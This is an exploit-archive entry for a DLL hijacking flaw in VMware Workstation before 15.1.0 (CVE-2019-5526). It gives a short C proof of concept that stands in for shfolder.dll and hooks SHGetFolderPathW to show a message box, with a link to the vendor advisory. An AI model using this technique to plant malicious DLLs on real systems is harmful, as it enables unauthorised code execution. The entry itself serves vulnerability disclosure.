Vmware workstation 15.1.0 dll hijacking Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-05-16 | Type : local | Platform : windows
This exploit / vulnerability Vmware workstation 15.1.0 dll hijacking is for educational purposes only and if it is used you will do on your own risk!

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# Title: VMware Workstation DLL hijacking < 15.1.0
# Date: 2019-05-14
# Author: Miguel Mendez Z. & Claudio Cortes C.
# Team: www.exploiting.cl
# Vendor: https://www.vmware.com
# Version: VMware Workstation Pro / Player (Workstation)
# Tested on: Windows Windows 7_x86/7_x64 [eng]
# Cve: CVE-2019-5526
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Description:

VMware Workstation contains a DLL hijacking issue because some DLL.


DLL Hijacking: shfolder.dll
Hooking: SHGetFolderPathW()

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#include "dll.h"
#include <windows.h>

DLLIMPORT void SHGetFolderPathW()
{
MessageBox(0, "s1kr10s", "VMWare-Poc", MB_ICONINFORMATION);
exit(0);
}

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https://www.vmware.com/security/advisories/VMSA-2019-0007.html